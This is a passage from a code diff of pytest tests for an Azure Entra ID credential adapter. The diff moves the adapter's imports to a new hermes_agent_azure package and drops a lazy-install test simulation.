from hermes_agent_azure import EntraIdentityConfig, build_credential
cred = build_credential(EntraIdentityConfig())
kwargs = fake_azure_identity.last_credential_kwargs
# Default config should produce empty kwargs — SDK uses its own
@@ -378,13 +378,13 @@ class TestBuildCredential:
``exclude_interactive_browser=False``, the SDK kwarg is set to
False. Without the opt-in we don't pass the kwarg at all (SDK
default is True / browser excluded)."""
from agent.azure_identity_adapter import EntraIdentityConfig, build_credential
from hermes_agent_azure import EntraIdentityConfig, build_credential
build_credential(EntraIdentityConfig(exclude_interactive_browser=False))
kwargs = fake_azure_identity.last_credential_kwargs
assert kwargs["exclude_interactive_browser_credential"] is False
def test_credential_is_cached_per_config(self, fake_azure_identity):
from agent.azure_identity_adapter import EntraIdentityConfig, build_credential
from hermes_agent_azure import EntraIdentityConfig, build_credential
cfg = EntraIdentityConfig(scope="s1")
c1 = build_credential(cfg)
c2 = build_credential(cfg)
@@ -392,14 +392,14 @@ class TestBuildCredential:
assert fake_azure_identity.credential_count == 1
def test_distinct_configs_get_distinct_credentials(self, fake_azure_identity):
from agent.azure_identity_adapter import EntraIdentityConfig, build_credential
from hermes_agent_azure import EntraIdentityConfig, build_credential
c1 = build_credential(EntraIdentityConfig(scope="s1"))
c2 = build_credential(EntraIdentityConfig(scope="s2"))
assert c1 is not c2
assert fake_azure_identity.credential_count == 2
def test_reset_cache_invalidates(self, fake_azure_identity):
from agent.azure_identity_adapter import (
from hermes_agent_azure import (
EntraIdentityConfig,
build_credential,
reset_credential_cache,
@@ -413,7 +413,7 @@ class TestBuildCredential:
class TestBuildTokenProvider:
def test_returns_callable_for_scope(self, fake_azure_identity):
from agent.azure_identity_adapter import build_token_provider
from hermes_agent_azure import build_token_provider
provider = build_token_provider(scope="https://ai.azure.com/.default")
assert callable(provider)
assert provider() == "jwt-for-https://ai.azure.com/.default"
@@ -424,7 +424,7 @@ class TestBuildTokenProvider:
``build_token_provider`` uses ``SCOPE_AI_AZURE_DEFAULT``
Microsoft's documented Foundry inference scope. ``base_url`` is
accepted for back-compat but ignored."""
from agent.azure_identity_adapter import (
from hermes_agent_azure import (
SCOPE_AI_AZURE_DEFAULT,
build_token_provider,
)
@@ -432,7 +432,7 @@ class TestBuildTokenProvider:
assert fake_azure_identity.last_scope == SCOPE_AI_AZURE_DEFAULT
def test_explicit_scope_wins_over_base_url(self, fake_azure_identity):
from agent.azure_identity_adapter import build_token_provider
from hermes_agent_azure import build_token_provider
build_token_provider(
scope="https://override.example/.default",
base_url="https://r.openai.azure.com/openai/v1",
@@ -440,7 +440,7 @@ class TestBuildTokenProvider:
assert fake_azure_identity.last_scope == "https://override.example/.default"
def test_config_object_wins_over_kwargs(self, fake_azure_identity):
from agent.azure_identity_adapter import (
from hermes_agent_azure import (
EntraIdentityConfig,
build_token_provider,
)
@@ -456,11 +456,10 @@ class TestBuildTokenProvider:
class TestRequireAzureIdentityMissing:
def test_clear_error_when_lazy_install_disabled(self, monkeypatch):
"""When azure-identity isn't importable AND lazy installs are
off, the adapter must raise ImportError with an actionable
message, not propagate FeatureUnavailable."""
from agent import azure_identity_adapter as _adapter
def test_clear_error_when_azure_identity_missing(self, monkeypatch):
"""When azure-identity isn't importable, the adapter must raise
ImportError with an actionable message."""
from hermes_agent_azure import adapter as _adapter
# Force the import path to fail.
original_import = __builtins__["__import__"] if isinstance(__builtins__, dict) else __import__
@@ -471,20 +470,6 @@ class TestRequireAzureIdentityMissing:
monkeypatch.setattr("builtins.__import__", _fake_import)
# Simulate lazy installs disabled.
from tools.lazy_deps import FeatureUnavailable
def _fake_ensure(*args, **kwargs):
raise FeatureUnavailable(
"provider.azure_identity",
("azure-identity==1.25.3",),
"lazy installs disabled (test simulation)",
)
# The adapter calls ``ensure`` from ``tools.lazy_deps``; intercept
# it by patching the actual symbol path.
monkeypatch.setattr("tools.lazy_deps.ensure", _fake_ensure)
with pytest.raises(ImportError) as exc_info:
_adapter._require_azure_identity()
msg = str(exc_info.value)
@@ -499,7 +484,7 @@ class TestRequireAzureIdentityMissing:
class TestHasAzureIdentityCredentials:
def test_returns_false_when_package_missing_and_install_disabled(self, monkeypatch):
from agent import azure_identity_adapter as _adapter
from hermes_agent_azure import adapter as _adapter
monkeypatch.setattr(_adapter, "has_azure_identity_installed", lambda: False)
assert _adapter.has_azure_identity_credentials(
"https://x/.default", allow_install=False,
@@ -510,7 +495,7 @@ class TestHasAzureIdentityCredentials:
lazy-install path before bailing otherwise the wizard's
``preflight`` would silently fail for fresh installs that haven't
run ``pip install azure-identity`` yet."""
from agent import azure_identity_adapter as _adapter
from hermes_agent_azure import adapter as _adapter
installed = {"called": False}
@@ -547,11 +532,11 @@ class TestHasAzureIdentityCredentials:
assert result is True
def test_returns_true_on_successful_token_mint(self, fake_azure_identity):
from agent.azure_identity_adapter import has_azure_identity_credentials
from hermes_agent_azure import has_azure_identity_credentials
assert has_azure_identity_credentials("https://x/.default", timeout_seconds=0.5) is True
def test_returns_false_when_get_token_raises(self, monkeypatch):
from agent import azure_identity_adapter as _adapter
from hermes_agent_azure import adapter as _adapter
def _failing_credential(_config):
class _Cred:
@@ -566,7 +551,7 @@ class TestHasAzureIdentityCredentials:
def test_returns_false_on_timeout(self, monkeypatch):
"""Slow IMDS / network must time out, not hang the caller."""
import threading
from agent import azure_identity_adapter as _adapter
from hermes_agent_azure import adapter as _adapter
slow_release = threading.Event()
@@ -596,7 +581,7 @@ class TestHasAzureIdentityCredentials:
class TestDescribeActiveCredential:
def test_reports_not_installed(self, monkeypatch):
from agent import azure_identity_adapter as _adapter
from hermes_agent_azure import adapter as _adapter
monkeypatch.setattr(_adapter, "has_azure_identity_installed", lambda: False)
info = _adapter.describe_active_credential(
scope="https://x/.default", allow_install=False,
@@ -608,7 +593,7 @@ class TestDescribeActiveCredential:
def test_reports_install_failure(self, monkeypatch):
"""When lazy install is allowed but fails (e.g. lazy installs
disabled), the diagnostic surfaces the failure as the error."""
from agent import azure_identity_adapter as _adapter
from hermes_agent_azure import adapter as _adapter
monkeypatch.setattr(_adapter, "has_azure_identity_installed", lambda: False)
def _fail_install():
@@ -623,7 +608,7 @@ class TestDescribeActiveCredential:
assert "lazy" in info["hint"].lower()
def test_reports_env_sources_for_managed_identity(self, fake_azure_identity, monkeypatch):
from agent.azure_identity_adapter import describe_active_credential
from hermes_agent_azure import describe_active_credential
monkeypatch.setenv("IDENTITY_ENDPOINT", "http://169.254.169.254")
info = describe_active_credential(scope="https://x/.default", timeout_seconds=0.5)
assert info["ok"] is True
@@ -631,14 +616,14 @@ class TestDescribeActiveCredential:
assert any("ManagedIdentity" in s for s in sources)
def test_reports_env_sources_for_workload_identity(self, fake_azure_identity, monkeypatch):
from agent.azure_identity_adapter import describe_active_credential
from hermes_agent_azure import describe_active_credential
monkeypatch.setenv("AZURE_FEDERATED_TOKEN_FILE", "/var/secrets/azure/federated-token")
info = describe_active_credential(scope="https://x/.default", timeout_seconds=0.5)
sources = info.get("env_sources") or []
assert any("WorkloadIdentity" in s for s in sources)
def test_reports_env_sources_for_service_principal(self, fake_azure_identity, monkeypatch):
from agent.azure_identity_adapter import describe_active_credential
from hermes_agent_azure import describe_active_credential
monkeypatch.setenv("AZURE_TENANT_ID", "t")
monkeypatch.setenv("AZURE_CLIENT_ID", "c")
monkeypatch.setenv("AZURE_CLIENT_SECRET", "s")
@@ -647,7 +632,7 @@ class TestDescribeActiveCredential:
assert any("EnvironmentCredential" in s for s in sources)
def test_reports_error_on_chain_failure(self, monkeypatch):
from agent import azure_identity_adapter as _adapter
from hermes_agent_azure import adapter as _adapter
def _failing_credential(_config):
class _Cred:

Some files were not shown because too many files have changed in this diff Show More